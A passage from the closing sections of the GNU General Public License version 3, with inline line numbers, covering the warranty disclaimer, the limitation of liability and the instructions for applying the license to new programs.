WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------